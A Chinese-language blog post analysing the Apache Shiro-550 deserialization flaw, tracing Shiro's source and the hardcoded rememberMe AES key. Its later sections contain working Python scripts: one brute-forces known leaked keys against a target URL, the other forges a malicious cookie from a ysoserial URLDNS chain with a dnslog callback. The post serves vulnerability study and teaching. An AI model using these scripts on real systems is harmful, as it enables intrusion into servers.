Apache Shiro-550反序列化漏洞分析

发布于 2021-11-26  1130 次阅读


Apache Shiro-550反序列化漏洞分析

Apache Shiro简介


Apache Shiro 是ASF旗下的一款开源软件(Shiro发音为“shee-roh”,日语“堡垒(Castle)”的意思),提供了一个强大而灵活的安全框架。可为任何应用提供安全保障— 从命令行应用、移动应用到大型网络及企业应用。

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMecookie值,先base64解码然后AES解密再反序列化,就导致了反序列化漏洞。

Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMeAES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。

攻击流程:

  1. 序列化恶意对象(payload)
  2. 对序列化的数据进行AES加密
  3. 将加密后的数据进行base64编码
  4. 发送 rememberMe cookie

环境搭建

所用环境:

JDK1.8

Tomcat 9.0.53

Apache Shiro 1.2.4

通过git下载源码,并且切换到1.2.4版本

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

或者直接下载zip文件,链接:

https://github.91chi.fun//https://github.com//apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip

接着用IEDA打开这个项目下shiro-shiro-root-1.2.4/samples/的web项目,由于Maven需要导入依赖,所以需要一些时间。

image-20211125154823861

修改pom.xml,使其支持jsp,导入jstl,不过我看父项目中是有这个包的

image-20211125155038600

我看网上的文章都写了,我这里也添加以下,防止出错

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

将shiro部署到tomcat中。jdk使用的是1.8。端口改成了8081,方便Burp抓包

image-20211125155610560

添加war

image-20211125155649073

启动Tomcat之后出现如下界面环境就算配置成功了

image-20211125160541106

漏洞分析

shiro认证流程

如果熟悉shiro用户认证的流程,则会知道,shiro框架实现了AbstractShiroFilter类,该类实现了Filter拦截器接口,会拦截web应用所有用户认证的http请求。

    <filter>
        <filter-name>ShiroFilter</filter-name>
        <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
    </filter>

类中的doFilterInternal方法会处理请求,把http请求的内容封装到Subject主体中。

Subject主体的创建会通过securityManager安全管理器来完成,因此在buildSubject方法中,securityManager安全管理器调用createSubject方法并传入了一个subjectContext参数,该参数内部封装了http请求中的内容

DefaultSecurityManager安全管理器的createSubject方法内部会调用了一个resolvePrincipals方法解析SubjectContext的内容

resolvePrincipals方法内部会调用resolvePrincipals方法尝试解析SubjectContext中的Principal(身份信息),如果解析为空则会调用getRememberedIdentity方法继续从SubjectContext中获取http请求中cookie字段中rememberMe的内容。

因此触发反序列化漏洞的关键就在于DefaultSecurityManager安全管理器的getRememberedIdentity方法,该方发是反序列化漏洞的起点

注:在搜索这些方法时可能出现搜不到结果,这是因为源码没有下载下来

设置Maven自动下载源码

image-20211125171209400

或者用点击Maven中的下载按钮下载源码

image-20211125171252837

漏洞产生原因

解密过程

现在我们从getRememberedIdentity开始分析,文件位置org/apache/shiro/mgt/DefaultSecurityManager.java

protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
    RememberMeManager rmm = getRememberMeManager();
    if (rmm != null) {
        try {
            return rmm.getRememberedPrincipals(subjectContext);
        } catch (Exception e) {
            if (log.isWarnEnabled()) {
                String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
                    "] threw an exception during getRememberedPrincipals().";
                log.warn(msg, e);
            }
        }
    }
    return null;
}

搜索在哪里调用了该方法。如果一直往上追溯,最终可以回到doFilterInternal

image-20211125172425917

getRememberedIdentity方法中调用了rmm.getRememberedPrincipals(subjectContext);,这里会从subjectContext中封装的cookie字段中解析rememberMe的内容。由于类是接口,按快捷键Ctrl+Alt+左键可跳转到具体实现的方法。

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

通过byte[] bytes = getRememberedSerializedIdentity(subjectContext);获取经过AES加密的字节码。跟进去

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

这个方法内部获取了requestrespense,然后获取rememberMe的cooke值:String base64 = getCookie().readValue(request, response);,然后再base64解码:byte[] decoded = Base64.decode(base64);

返回之后再回到getRememberedPrincipals方法中执行这条语句principals = convertBytesToPrincipals(bytes, subjectContext);,这里包含了解密和反序列化的过程,这是触发漏洞的点了。

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

可以看到这里实现了解密和反序列化。

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

通过getDecryptionCipherKey()方法获取密钥

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

找密钥在哪里设置的,与之对应肯定有setDecryptionCipherKey

public void setCipherKey(byte[] cipherKey) {
    //Since this method should only be used in symmetric ciphers
    //(where the enc and dec keys are the same), set it on both:
    setEncryptionCipherKey(cipherKey);
    setDecryptionCipherKey(cipherKey);
}
public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

这里可以看到,密钥是写死的,只要知道密钥,就会产生反序列化漏洞。

回到deserialize中。可以看到这里对反序列化的类进行了判断,需要为PrincipalCollection,否则会抛出异常。不过这里并不会影响反序列化成功。因为是先反序列化在进行强转。

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

调用了getSerializer().deserialize(serializedIdentity);实现反序列化。

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

ClassResolvingObjectInputStreamshiro重新实现了反序列化类

并且重写了resolveClass方法,在反序列化时会自动调用该函数。后面利用的时候会受到影响,后面说。

@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
    }
}

到此为止整个解密反序列化的流量就跟踪完成了。由于密钥写死了,导致漏洞产生。

加密过程

加密过程当我们登录的时候如果点了Remember Me,则会对PrincipalCollection类进行反序列化,并且加密,里面存储了账号的用户名和其它的一些信息。

过程和解密过程一样的,只不过反着来的。调用的方法为rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

convertPrincipalsToBytes方法实现了对PrincipalCollection类反序列化和加密过程。过程和解密一样。

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        bytes = encrypt(bytes);
    }
    return bytes;
}

完成之后调用rememberSerializedIdentity(subject, bytes);,对字节码进行base64编码。

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                "request and response in order to set the rememberMe cookie. Returning immediately and " +
                "ignoring rememberMe operation.";
            log.debug(msg);
        }
        return;
    }

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    //base 64 encode it and store as a cookie:
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
    Cookie cookie = new SimpleCookie(template);
    cookie.setValue(base64);
    cookie.saveTo(request, response);
}

通过Alt+F7往上追溯。在org/apache/shiro/mgt/AbstractRememberMeManager.javaonSuccessfulLogin方法中调用了isRememberMe,用来判断用户是否选择了Remember Me选项

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
    //always clear any previous identity:
    forgetIdentity(subject);

    //now save the new identity:
    if (isRememberMe(token)) {
        rememberIdentity(subject, token, info);
    } else {
        if (log.isDebugEnabled()) {
            log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                      "RememberMe functionality will not be executed for corresponding account.");
        }
    }
}

漏洞探测

指纹识别

在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在

rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

image-20211125214222855

AES密钥

Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550)Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设

置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

AES密钥判断

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:

rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

密钥不正确

Key不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt抛出异常。

进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段。

类型转换异常

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection的强制

类型转换。否则会出现类型转换报错。将会再次走到org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法,为返回包添加了rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。当序列化对象继承PrincipalCollection时,类型转换正常,SimplePrincipalCollection是已存在的可利用类。

密钥判断脚本

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄

漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情

况。

这里给出大佬Veraxy的脚本

import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

漏洞复现

通过漏洞原理可以知道,构造Payload需要将利用链通过AES加密后在base64编码。将Payload的值设置为rememberMe cookie的值,这里借助ysoserial中的URLDNS链去打。RCE的链以及遇到的问题后面分析。这列给出python的利用代码。

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    # 替换dnslog
    payload = rememberme('http://dq6w3y.dnslog.cn')
    print("rememberMe={}".format(payload.decode()))

先用上面的python代码跑出正确的kye:

image-20211125222551015

生成Payload

image-20211125223519906

image-20211125223532618

查看Dnslog

image-20211125223601823

可以看到成功利用了URLDNS链。

参考文章

https://blog.csdn.net/qq_35733751/article/details/120129600

https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg

https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/#0x04-%E6%BC%8F%E6%B4%9E%E6%8E%A2%E6%B5%8B


沙上有印,光中有影!